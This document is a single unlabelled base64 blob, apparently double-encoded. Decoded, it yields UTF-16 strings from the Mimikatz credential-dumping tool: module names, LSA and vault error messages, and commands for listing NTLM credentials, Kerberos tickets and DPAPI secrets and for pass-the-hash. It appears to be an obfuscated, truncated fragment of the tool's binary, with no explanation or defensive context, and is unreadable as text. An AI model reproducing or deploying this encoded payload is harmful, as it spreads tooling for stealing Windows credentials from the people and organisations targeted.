QUFBQUFBSkFBa0FVQUJoQUdNQWF3QmhBR2NBWlFCVEFHa0FaQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFIWUFZUUIxQUd3QWRBQmZBR3dBYVFCekFIUUFJQUE3QUNBQVZnQmhBSFVBYkFCMEFFY0FaUUIwQUVrQWRBQmxBRzBBT0FBZ0FEb0FJQUFsQURBQU9BQjRBQUFBQUFBS0FBa0FDUUFxQUNvQUtnQWdBQ1VBY3dBZ0FDb0FLZ0FxQUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFkZ0JoQUhVQWJBQjBBRjhBYkFCcEFITUFkQUFnQURzQUlBQldBR0VBZFFCc0FIUUFSUUJ1QUhVQWJRQmxBSElBWVFCMEFHVUFWZ0JoQUhVQWJBQjBBSE1BSUFBNkFDQUFNQUI0QUNVQU1BQTRBSGdBQ2dBQUFBQUFDUUFKQUZVQWN3QmxBSElBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUFBQWxBSE1BWEFBbEFITUFBQUFBQUFBQVV3QlBBRVlBVkFCWEFFRUFVZ0JGQUZ3QVRRQnBBR01BY2dCdkFITUFid0JtQUhRQVhBQlhBR2tBYmdCa0FHOEFkd0J6QUZ3QVF3QjFBSElBY2dCbEFHNEFkQUJXQUdVQWNnQnpBR2tBYndCdUFGd0FRUUIxQUhRQWFBQmxBRzRBZEFCcEFHTUFZUUIwQUdrQWJ3QnVBRndBVEFCdkFHY0Fid0J1QUZVQVNRQmNBRkFBYVFCakFIUUFkUUJ5QUdVQVVBQmhBSE1BY3dCM0FHOEFjZ0JrQUFBQUFBQmlBR2NBVUFCaEFIUUFhQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFkZ0JoQUhVQWJBQjBBRjhBYkFCcEFITUFkQUJmQUdRQVpRQnpBR01BU1FCMEFHVUFiUUJmQUZBQVNRQk9BRXdBYndCbkFHOEFiZ0JQQUhJQVVBQnBBR01BZEFCMUFISUFaUUJRQUdFQWN3QnpBSGNBYndCeUFHUUFUd0J5QUVJQWFRQnZBRzBBWlFCMEFISUFhUUJqQUNBQU93QWdBRklBWlFCbkFGRUFkUUJsQUhJQWVRQldBR0VBYkFCMUFHVUFSUUI0QUNBQU1nQWdBRG9BSUFBbEFEQUFPQUI0QUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0IyQUdFQWRRQnNBSFFBWHdCc0FHa0Fjd0IwQUY4QVpBQmxBSE1BWXdCSkFIUUFaUUJ0QUY4QVVBQkpBRTRBVEFCdkFHY0Fid0J1QUU4QWNnQlFBR2tBWXdCMEFIVUFjZ0JsQUZBQVlRQnpBSE1BZHdCdkFISUFaQUJQQUhJQVFnQnBBRzhBYlFCbEFIUUFjZ0JwQUdNQUlBQTdBQ0FBVWdCbEFHY0FVUUIxQUdVQWNnQjVBRllBWVFCc0FIVUFaUUJGQUhnQUlBQXhBQ0FBT2dBZ0FDVUFNQUE0QUhnQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhZQVlRQjFBR3dBZEFCZkFHd0FhUUJ6QUhRQVh3QmtBR1VBY3dCakFFa0FkQUJsQUcwQVh3QlFBRWtBVGdCTUFHOEFad0J2QUc0QVR3QnlBRkFBYVFCakFIUUFkUUJ5QUdVQVVBQmhBSE1BY3dCM0FHOEFjZ0JrQUU4QWNnQkNBR2tBYndCdEFHVUFkQUJ5QUdrQVl3QWdBRHNBSUFCU0FHVUFad0JQQUhBQVpRQnVBRXNBWlFCNUFFVUFlQUFnQUZNQVNRQkVBQ0FBT2dBZ0FDVUFNQUE0QUhnQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWRnQmhBSFVBYkFCMEFGOEFiQUJwQUhNQWRBQmZBR1FBWlFCekFHTUFTUUIwQUdVQWJRQmZBRkFBU1FCT0FFd0Fid0JuQUc4QWJnQlBBSElBVUFCcEFHTUFkQUIxQUhJQVpRQlFBR0VBY3dCekFIY0Fid0J5QUdRQVR3QnlBRUlBYVFCdkFHMEFaUUIwQUhJQWFRQmpBQ0FBT3dBZ0FFTUFid0J1QUhZQVpRQnlBSFFBVXdCcEFHUUFWQUJ2QUZNQWRBQnlBR2tBYmdCbkFGTUFhUUJrQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFIWUFZUUIxQUd3QWRBQmZBR3dBYVFCekFIUUFYd0JrQUdVQWN3QmpBRWtBZEFCbEFHMEFYd0JRQUVrQVRnQk1BRzhBWndCdkFHNEFUd0J5QUZBQWFRQmpBSFFBZFFCeUFHVUFVQUJoQUhNQWN3QjNBRzhBY2dCa0FFOEFjZ0JDQUdrQWJ3QnRBR1VBZEFCeUFHa0FZd0FnQURzQUlBQlNBR1VBWndCUEFIQUFaUUJ1QUVzQVpRQjVBRVVBZUFBZ0FGQUFhUUJqQUhRQWRRQnlBR1VBVUFCaEFITUFjd0IzQUc4QWNnQmtBQ0FBT2dBZ0FDVUFNQUE0QUhnQUNnQUFBQUFBQ1FBSkFGQUFZUUJ6QUhNQWR3QnZBSElBWkFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFKQUFrQVVBQkpBRTRBSUFCREFHOEFaQUJsQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRFFBYUFCMUFBb0FBQUFBQUFrQUNRQkNBR0VBWXdCckFHY0FjZ0J2QUhVQWJnQmtBQ0FBY0FCaEFIUUFhQUFnQURvQUlBQWxBSE1BQ2dBQUFBa0FDUUJRQUdrQVl3QjBBSFVBY2dCbEFDQUFjQUJoQUhNQWN3QjNBRzhBY2dCa0FDQUFLQUJuQUhJQWFRQmtBQ0FBYVFCekFDQUFNUUExQURBQUtnQXhBREFBTUFBcEFBb0FBQUFKQUFrQUlBQmJBQ1VBZFFCZEFDQUFBQUFBQUhBQWJ3QnBBRzRBZEFBZ0FDQUFLQUI0QUNBQVBRQWdBQ1VBTXdCMUFDQUFPd0FnQUhrQUlBQTlBQ0FBSlFBekFIVUFLUUFBQUFBQVl3QnNBRzhBWXdCckFIY0FhUUJ6QUdVQUFBQmhBRzRBZEFCcEFHTUFiQUJ2QUdNQWF3QjNBR2tBY3dCbEFBQUFZd0JwQUhJQVl3QnNBR1VBSUFBb0FIZ0FJQUE5QUNBQUpRQXpBSFVBSUFBN0FDQUFlUUFnQUQwQUlBQWxBRE1BZFFBZ0FEc0FJQUJ5QUNBQVBRQWdBQ1VBTXdCMUFDa0FJQUF0QUNBQUpRQnpBQUFBQUFBQUFHd0FhUUJ1QUdVQUlBQWdBQ0FBS0FCNEFDQUFQUUFnQUNVQU13QjFBQ0FBT3dBZ0FIa0FJQUE5QUNBQUpRQXpBSFVBS1FBZ0FDMEFQZ0FnQUNnQWVBQWdBRDBBSUFBbEFETUFkUUFnQURzQUlBQjVBQ0FBUFFBZ0FDVUFNd0IxQUNrQUFBQWxBSFVBQ2dBQUFBa0FDUUJRQUhJQWJ3QndBR1VBY2dCMEFIa0FJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUpRQXVBQ29BY3dCY0FBQUFKUUF1QUNvQWN3QUFBQUFBZEFCdkFHUUFid0FnQUQ4QUNnQUFBQWtBVGdCaEFHMEFaUUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQUFBSFFBWlFCdEFIQUFJQUIyQUdFQWRRQnNBSFFBQUFBQUFBa0FVQUJoQUhRQWFBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBSE1BQ2dBQUFDVUFhQUIxQUFBQUpRQjFBQUFBQUFCYkFGUUFlUUJ3QUdVQUlBQWxBSFVBWFFBZ0FBQUFBQUJuQUdVQWJnQmxBSElBYVFCakFBQUFaQUJ2QUcwQVlRQnBBRzRBWHdCd0FHRUFjd0J6QUhjQWJ3QnlBR1FBQUFCa0FHOEFiUUJoQUdrQWJnQmZBR01BWlFCeUFIUUFhUUJtQUdrQVl3QmhBSFFBWlFBQUFBQUFaQUJ2QUcwQVlRQnBBRzRBWHdCMkFHa0Fjd0JwQUdJQWJBQmxBRjhBY0FCaEFITUFjd0IzQUc4QWNnQmtBQUFBWndCbEFHNEFaUUJ5QUdrQVl3QmZBR01BWlFCeUFIUUFhUUJtQUdrQVl3QmhBSFFBWlFBQUFHUUFid0J0QUdFQWFRQnVBRjhBWlFCNEFIUUFaUUJ1QUdRQVpRQmtBQUFBYmdCdkFHNEFaUUFBQUFBQWN3QmxBSE1BY3dCcEFHOEFiZ0FBQUdVQWJnQjBBR1VBY2dCd0FISUFhUUJ6QUdVQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhZQVlRQjFBR3dBZEFCZkFHTUFjZ0JsQUdRQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBR0VBZEFCakFHZ0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFkZ0JoQUhVQWJBQjBBRjhBWXdCeUFHVUFaQUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhBQWNnQnZBR01BWlFCekFITUFYd0JuQUdVQWRBQldBR1VBY2dCNUFFSUFZUUJ6QUdrQVl3Qk5BRzhBWkFCMUFHd0FaUUJKQUc0QVpnQnZBSElBYlFCaEFIUUFhUUJ2QUc0QWN3QkdBRzhBY2dCT0FHRUFiUUJsQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhZQVlRQjFBR3dBZEFCZkFHTUFjZ0JsQUdRQUlBQTdBQ0FBVHdCd0FHVUFiZ0JRQUhJQWJ3QmpBR1VBY3dCekFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSFlBWVFCMUFHd0FkQUJmQUdNQWNnQmxBR1FBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCekFHVUFjZ0IyQUdrQVl3QmxBRjhBWndCbEFIUUFWUUJ1QUdrQWNRQjFBR1VBUmdCdkFISUFUZ0JoQUcwQVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBUHdBZ0FDZ0FVQUJsQUhJQWN3QnBBSE1BZEFBZ0FENEFJQUJ0QUdFQWVBQnBBRzBBZFFCdEFDa0FBQUEvQUNBQUtBQjBBSGtBY0FCbEFDQUFQZ0FnQUVNQVVnQkZBRVFBWHdCVUFGa0FVQUJGQUY4QVRRQkJBRmdBU1FCTkFGVUFUUUFwQUFBQUFBQThBRTRBVlFCTUFFd0FQZ0FBQUFBQVZBQmhBSElBWndCbEFIUUFUZ0JoQUcwQVpRQWdBRG9BSUFBbEFITUFJQUF2QUNBQUpRQnpBQW9BVlFCekFHVUFjZ0JPQUdFQWJRQmxBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQkRBRzhBYlFCdEFHVUFiZ0IwQUNBQUlBQWdBQ0FBT2dBZ0FDVUFjd0FLQUZRQWVRQndBR1VBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFCMUFDQUFMUUFnQUNVQWN3QUtBRkFBWlFCeUFITUFhUUJ6QUhRQUlBQWdBQ0FBSUFBNkFDQUFKUUIxQUNBQUxRQWdBQ1VBY3dBS0FFWUFiQUJoQUdjQWN3QWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBS0FFRUFkQUIwQUhJQWFRQmlBSFVBZEFCbEFITUFJQUE2QUFvQUFBQUFBRU1BY2dCbEFHUUFaUUJ1QUhRQWFRQmhBR3dBSUFBNkFDQUFBQUJwQUc0QVpnQnZBSE1BQUFCdEFHa0FiZ0JsQUhNQWR3QmxBR1VBY0FCbEFISUFBQUJOQUdrQWJnQmxBRk1BZHdCbEFHVUFjQUJsQUhJQUlBQnRBRzhBWkFCMUFHd0FaUUFBQUFBQWJRQnBBRzRBWlFCekFIY0FaUUJsQUhBQVpRQnlBQzRBWlFCNEFHVUFBQUJHQUdrQVpRQnNBR1FBSUFBNkFDQUFKUUIxQUNBQWNnQWdBSGdBSUFBbEFIVUFJQUJqQUFvQVRRQnBBRzRBWlFCekFDQUFPZ0FnQUNVQWRRQUtBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBRzBBYVFCdUFHVUFjd0IzQUdVQVpRQndBR1VBY2dCZkFHa0FiZ0JtQUc4QWN3QWdBRHNBSUFCTkFHVUFiUUJ2QUhJQWVRQWdBRU1BSUFBb0FGSUFJQUE5QUNBQUpRQjFBQ2tBQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBRzRBWlFCekFIY0FaUUJsQUhBQVpRQnlBRjhBYVFCdUFHWUFid0J6QUNBQU93QWdBRTBBWlFCdEFHOEFjZ0I1QUNBQVVnQUtBQUFBQUFBbEFFTUFJQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYlFCcEFHNEFaUUJ6QUhjQVpRQmxBSEFBWlFCeUFGOEFhUUJ1QUdZQWJ3QnpBQ0FBT3dBZ0FFSUFid0JoQUhJQVpBQWdBR01BYndCd0FIa0FDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiUUJwQUc0QVpRQnpBSGNBWlFCbEFIQUFaUUJ5QUY4QWFRQnVBR1lBYndCekFDQUFPd0FnQUVjQVlRQnRBR1VBSUFCakFHOEFjQUI1QUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHMEFhUUJ1QUdVQWN3QjNBR1VBWlFCd0FHVUFjZ0JmQUdrQWJnQm1BRzhBY3dBZ0FEc0FJQUJIQUNBQVl3QnZBSEFBZVFBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCdEFHa0FiZ0JsQUhNQWR3QmxBR1VBY0FCbEFISUFYd0JwQUc0QVpnQnZBSE1BSUFBN0FDQUFSd0JzQUc4QVlnQmhBR3dBSUFCakFHOEFjQUI1QUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J0QUdrQWJnQmxBSE1BZHdCbEFHVUFjQUJsQUhJQVh3QnBBRzRBWmdCdkFITUFJQUE3QUNBQVV3QmxBR0VBY2dCakFHZ0FJQUJwQUhNQUlBQkxBRThBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnRBR2tBYmdCbEFITUFkd0JsQUdVQWNBQmxBSElBWHdCcEFHNEFaZ0J2QUhNQUlBQTdBQ0FBVFFCcEFHNEFaUUJ6QUhjQVpRQmxBSEFBWlFCeUFDQUFUZ0JVQUNBQVNBQmxBR0VBWkFCbEFISUFjd0FLQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J0QUdrQWJnQmxBSE1BZHdCbEFHVUFjQUJsQUhJQVh3QnBBRzRBWmdCdkFITUFJQUE3QUNBQVRRQnBBRzRBWlFCekFIY0FaUUJsQUhBQVpRQnlBQ0FBVUFCRkFFSUFDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHMEFhUUJ1QUdVQWN3QjNBR1VBWlFCd0FHVUFjZ0JmQUdrQWJnQm1BRzhBY3dBZ0FEc0FJQUJQQUhBQVpRQnVBRkFBY2dCdkFHTUFaUUJ6QUhNQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J0QUdrQWJnQmxBSE1BZHdCbEFHVUFjQUJsQUhJQVh3QnBBRzRBWmdCdkFITUFJQUE3QUNBQVRnQnZBQ0FBVFFCcEFHNEFaUUJUQUhjQVpRQmxBSEFBWlFCeUFDQUFhUUJ1QUNBQWJRQmxBRzBBYndCeUFIa0FJUUFLQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCdEFHa0FiZ0JsQUhNQWR3QmxBR1VBY0FCbEFISUFYd0JwQUc0QVpnQnZBSE1BWHdCd0FHRUFjZ0J6QUdVQVJnQnBBR1VBYkFCa0FDQUFPd0FnQUZVQWJnQmhBR0lBYkFCbEFDQUFkQUJ2QUNBQWNnQmxBR0VBWkFBZ0FHVUFiQUJsQUcwQVpRQnVBSFFBY3dBZ0FHWUFjZ0J2QUcwQUlBQmpBRzhBYkFCMUFHMEFiZ0E2QUNBQUpRQjFBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBRzBBYVFCdUFHVUFjd0IzQUdVQVpRQndBR1VBY2dCZkFHa0FiZ0JtQUc4QWN3QmZBSEFBWVFCeUFITUFaUUJHQUdrQVpRQnNBR1FBSUFBN0FDQUFWUUJ1QUdFQVlnQnNBR1VBSUFCMEFHOEFJQUJ5QUdVQVlRQmtBQ0FBY2dCbEFHWUFaUUJ5QUdVQWJnQmpBR1VBY3dBZ0FHWUFjZ0J2QUcwQUlBQmpBRzhBYkFCMUFHMEFiZ0E2QUNBQUpRQjFBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBRzRBWlFCekFIY0FaUUJsQUhBQVpRQnlBRjhBYVFCdUFHWUFid0J6QUY4QWNBQmhBSElBY3dCbEFFWUFhUUJsQUd3QVpBQWdBRHNBSUFCVkFHNEFZUUJpQUd3QVpRQWdBSFFBYndBZ0FISUFaUUJoQUdRQUlBQnlBR1VBWmdCbEFISUFaUUJ1QUdNQVpRQnpBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBRzRBWlFCekFIY0FaUUJsQUhBQVpRQnlBRjhBYVFCdUFHWUFid0J6QUY4QWNBQmhBSElBY3dCbEFFWUFhUUJsQUd3QVpBQWdBRHNBSUFCVkFHNEFZUUJpQUd3QVpRQWdBSFFBYndBZ0FISUFaUUJoQUdRQUlBQm1BR2tBY2dCekFIUUFJQUJsQUd3QVpRQnRBR1VBYmdCMEFBb0FBQUJzQUhNQVlRQnpBSElBZGdBQUFBQUFUSE5oU1VOaGJtTmxiRTV2ZEdsbWFXTmhkR2x2YmdBQVRITmhTVkpsWjJsemRHVnlUbTkwYVdacFkyRjBhVzl1QUFBQUFHSUFZd0J5QUhrQWNBQjBBQUFBQUFCQ1EzSjVjSFJQY0dWdVFXeG5iM0pwZEdodFVISnZkbWxrWlhJQVFrTnllWEIwVTJWMFVISnZjR1Z5ZEhrQUFBQkNRM0o1Y0hSSFpYUlFjbTl3WlhKMGVRQUFBRUpEY25sd2RFZGxibVZ5WVhSbFUzbHRiV1YwY21salMyVjVBQUJDUTNKNWNIUkZibU55ZVhCMEFBQUFRa055ZVhCMFJHVmpjbmx3ZEFBQUFFSkRjbmx3ZEVSbGMzUnliM2xMWlhrQUFBQUFRa055ZVhCMFEyeHZjMlZCYkdkdmNtbDBhRzFRY205MmFXUmxjZ0FBQUFBekFFUUFSUUJUQUFBQUFBQkRBR2dBWVFCcEFHNEFhUUJ1QUdjQVRRQnZBR1FBWlFCREFFSUFRd0FBQUVNQWFBQmhBR2tBYmdCcEFHNEFad0JOQUc4QVpBQmxBQUFBQUFCUEFHSUFhZ0JsQUdNQWRBQk1BR1VBYmdCbkFIUUFhQUFBQUFBQVFRQkZBRk1BQUFCREFHZ0FZUUJwQUc0QWFRQnVBR2NBVFFCdkFHUUFaUUJEQUVZQVFnQUFBRzBBY3dCMkFBQUFUQUJwQUhNQWRBQnpBQ0FBVEFCTkFDQUFKZ0FnQUU0QVZBQk1BRTBBSUFCakFISUFaUUJrQUdVQWJnQjBBR2tBWVFCc0FITUFBQUIzQUdRQWFRQm5BR1VBY3dCMEFBQUFUQUJwQUhNQWRBQnpBQ0FBVndCRUFHa0Fad0JsQUhNQWRBQWdBR01BY2dCbEFHUUFaUUJ1QUhRQWFRQmhBR3dBY3dBQUFFd0FhUUJ6QUhRQWN3QWdBRXNBWlFCeUFHSUFaUUJ5QUc4QWN3QWdBR01BY2dCbEFHUUFaUUJ1QUhRQWFRQmhBR3dBY3dBQUFBQUFkQUJ6QUhBQWF3Qm5BQUFBVEFCcEFITUFkQUJ6QUNBQVZBQnpBRkFBYXdCbkFDQUFZd0J5QUdVQVpBQmxBRzRBZEFCcEFHRUFiQUJ6QUFBQWJBQnBBSFlBWlFCekFITUFjQUFBQUV3QWFRQnpBSFFBY3dBZ0FFd0FhUUIyQUdVQVV3QlRBRkFBSUFCakFISUFaUUJrQUdVQWJnQjBBR2tBWVFCc0FITUFBQUJ6QUhNQWNBQUFBRXdBYVFCekFIUUFjd0FnQUZNQVV3QlFBQ0FBWXdCeUFHVUFaQUJsQUc0QWRBQnBBR0VBYkFCekFBQUFiQUJ2QUdjQWJ3QnVBRkFBWVFCekFITUFkd0J2QUhJQVpBQnpBQUFBQUFCTUFHa0Fjd0IwQUhNQUlBQmhBR3dBYkFBZ0FHRUFkZ0JoQUdrQWJBQmhBR0lBYkFCbEFDQUFjQUJ5QUc4QWRnQnBBR1FBWlFCeUFITUFJQUJqQUhJQVpRQmtBR1VBYmdCMEFHa0FZUUJzQUhNQUFBQUFBQUFBVXdCM0FHa0FkQUJqQUdnQUlBQW9BRzhBY2dBZ0FISUFaUUJwQUc0QWFRQjBBQ2tBSUFCMEFHOEFJQUJNQUZNQVFRQlRBRk1BSUFCd0FISUFid0JqQUdVQWN3QnpBQ0FBSUFCakFHOEFiZ0IwQUdVQWVBQjBBQUFBQUFCdEFHa0FiZ0JwQUdRQWRRQnRBSEFBQUFBQUFGTUFkd0JwQUhRQVl3Qm9BQ0FBS0FCdkFISUFJQUJ5QUdVQWFRQnVBR2tBZEFBcEFDQUFkQUJ2QUNBQVRBQlRBRUVBVXdCVEFDQUFiUUJwQUc0QWFRQmtBSFVBYlFCd0FDQUFZd0J2QUc0QWRBQmxBSGdBZEFBQUFBQUFjQUIwQUdnQUFBQlFBR0VBY3dCekFDMEFkQUJvQUdVQUxRQm9BR0VBY3dCb0FBQUFhd0J5QUdJQWRBQm5BSFFBSVFBQUFHUUFjQUJoQUhBQWFRQnpBSGtBY3dCMEFHVUFiUUFBQUVRQVVBQkJBRkFBU1FCZkFGTUFXUUJUQUZRQVJRQk5BQ0FBY3dCbEFHTUFjZ0JsQUhRQUFBQjBBR2tBWXdCckFHVUFkQUJ6QUFBQVRBQnBBSE1BZEFBZ0FFc0FaUUJ5QUdJQVpRQnlBRzhBY3dBZ0FIUUFhUUJqQUdzQVpRQjBBSE1BQUFCbEFHc0FaUUI1QUhNQUFBQk1BR2tBY3dCMEFDQUFTd0JsQUhJQVlnQmxBSElBYndCekFDQUFSUUJ1QUdNQWNnQjVBSEFBZEFCcEFHOEFiZ0FnQUVzQVpRQjVBSE1BQUFCTUFHa0Fjd0IwQUNBQVF3QmhBR01BYUFCbEFHUUFJQUJOQUdFQWN3QjBBR1VBY2dCTEFHVUFlUUJ6QUFBQUFBQmpBSElBWlFCa0FHMEFZUUJ1QUFBQVRBQnBBSE1BZEFBZ0FFTUFjZ0JsQUdRQVpRQnVBSFFBYVFCaEFHd0Fjd0FnQUUwQVlRQnVBR0VBWndCbEFISUFBQUFBQUhNQVpRQnJBSFVBY2dCc0FITUFZUUFBQUFBQVV3QmxBR3NBZFFCeUFFd0FVd0JCQUNBQWJRQnZBR1FBZFFCc0FHVUFBQUFBQUFBQVV3QnZBRzBBWlFBZ0FHTUFid0J0QUcwQVlRQnVBR1FBY3dBZ0FIUUFid0FnQUdVQWJnQjFBRzBBWlFCeUFHRUFkQUJsQUNBQVl3QnlBR1VBWkFCbEFHNEFkQUJwQUdFQWJBQnpBQzRBTGdBdUFBQUFVd0IzQUdrQWRBQmpBR2dBSUFCMEFHOEFJQUJRQUZJQVR3QkRBRVVBVXdCVEFBb0FBQUFBQUZNQWR3QnBBSFFBWXdCb0FDQUFkQUJ2QUNBQVRRQkpBRTRBU1FCRUFGVUFUUUJRQUNBQU9nQWdBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J6QUdVQWF3QjFBSElBYkFCekFHRUFYd0J0QUdrQWJnQnBBR1FBZFFCdEFIQUFJQUE3QUNBQVBBQnRBR2tBYmdCcEFHUUFkUUJ0QUhBQVpnQnBBR3dBWlFBdUFHUUFiUUJ3QUQ0QUlBQmhBSElBWndCMUFHMEFaUUJ1QUhRQUlBQnBBSE1BSUFCdEFHa0Fjd0J6QUdrQWJnQm5BQW9BQUFBQUFBQUFBQUJQQUhBQVpRQnVBR2tBYmdCbkFDQUFPZ0FnQUNjQUpRQnpBQ2NBSUFCbUFHa0FiQUJsQUNBQVpnQnZBSElBSUFCdEFHa0FiZ0JwQUdRQWRRQnRBSEFBTGdBdUFDNEFDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjd0JsQUdzQWRRQnlBR3dBY3dCaEFGOEFZUUJqQUhFQWRRQnBBSElBWlFCTUFGTUFRUUFnQURzQUlBQk1BRk1BUVFCVEFGTUFJQUJ3QUhJQWJ3QmpBR1VBY3dCekFDQUFiZ0J2QUhRQUlBQm1BRzhBZFFCdUFHUUFJQUFvQUQ4QUtRQUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J6QUdVQWF3QjFBSElBYkFCekFHRUFYd0JoQUdNQWNRQjFBR2tBY2dCbEFFd0FVd0JCQUNBQU93QWdBRTBBYVFCdUFHa0FaQUIxQUcwQWNBQWdBSEFBU1FCdUFHWUFid0J6QUMwQVBnQk5BR0VBYWdCdkFISUFWZ0JsQUhJQWN3QnBBRzhBYmdBZ0FDZ0FKUUIxQUNrQUlBQWhBRDBBSUFCTkFFa0FUUUJKQUVzQVFRQlVBRm9BWHdCT0FGUUFYd0JOQUVFQVNnQlBBRklBWHdCV0FFVUFVZ0JUQUVrQVR3Qk9BQ0FBS0FBbEFIVUFLUUFLQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J6QUdVQWF3QjFBSElBYkFCekFHRUFYd0JoQUdNQWNRQjFBR2tBY2dCbEFFd0FVd0JCQUNBQU93QWdBRTBBYVFCdUFHa0FaQUIxQUcwQWNBQWdBSEFBU1FCdUFHWUFid0J6QUMwQVBnQlFBSElBYndCakFHVUFjd0J6QUc4QWNnQkJBSElBWXdCb0FHa0FkQUJsQUdNQWRBQjFBSElBWlFBZ0FDZ0FKUUIxQUNrQUlBQWhBRDBBSUFCUUFGSUFUd0JEQUVVQVV3QlRBRThBVWdCZkFFRUFVZ0JEQUVnQVNRQlVBRVVBUXdCVUFGVUFVZ0JGQUY4QVNRQk9BRlFBUlFCTUFDQUFLQUFsQUhVQUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnpBR1VBYXdCMUFISUFiQUJ6QUdFQVh3QmhBR01BY1FCMUFHa0FjZ0JsQUV3QVV3QkJBQ0FBT3dBZ0FFMEFhUUJ1QUdrQVpBQjFBRzBBY0FBZ0FIY0FhUUIwQUdnQWJ3QjFBSFFBSUFCVEFIa0Fjd0IwQUdVQWJRQkpBRzRBWmdCdkFGTUFkQUJ5QUdVQVlRQnRBQ0FBS0FBL0FDa0FDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFITUFaUUJyQUhVQWNnQnNBSE1BWVFCZkFHRUFZd0J4QUhVQWFRQnlBR1VBVEFCVEFFRUFJQUE3QUNBQVN3QmxBSGtBSUFCcEFHMEFjQUJ2QUhJQWRBQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhNQVpRQnJBSFVBY2dCc0FITUFZUUJmQUdFQVl3QnhBSFVBYVFCeUFHVUFUQUJUQUVFQUlBQTdBQ0FBVEFCdkFHY0Fid0J1QUNBQWJBQnBBSE1BZEFBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSE1BWlFCckFIVUFjZ0JzQUhNQVlRQmZBR0VBWXdCeEFIVUFhUUJ5QUdVQVRBQlRBRUVBSUFBN0FDQUFUUUJ2QUdRQWRRQnNBR1VBY3dBZ0FHa0FiZ0J